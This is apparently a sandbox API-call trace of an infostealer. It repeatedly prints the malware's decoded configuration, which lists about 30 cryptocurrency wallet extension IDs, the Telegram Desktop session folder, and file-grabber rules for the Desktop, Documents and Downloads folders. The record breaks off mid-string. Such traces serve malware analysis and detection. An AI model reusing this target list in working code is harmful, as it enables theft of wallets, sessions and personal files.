Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.202] lstrlenW (lpString="ews_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2832 [0260.202] lstrlenW (lpString="ews_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2832 [0260.202] LocalAlloc (uFlags=0x40, uBytes=0x1620) returned 0x6b9720 [0260.202] lstrlenW (lpString="ews_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2832 [0260.202] LocalAlloc (uFlags=0x40, uBytes=0x1620) returned 0x6bad48 [0260.202] lstrlenW (lpString="ews_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2832 [0260.202] LocalAlloc (uFlags=0x40, uBytes=0x1620) returned 0x6bc370 [0260.202] StrStrW (lpFirst="ews_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.202] lstrlenW (lpString="ews_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2832 [0260.202] LocalAlloc (uFlags=0x40, uBytes=0x16a0) returned 0x6bd998 [0260.203] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.203] LocalFree (hMem=0x6bd998) returned 0x0 [0260.203] StrStrW (lpFirst="ews_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension 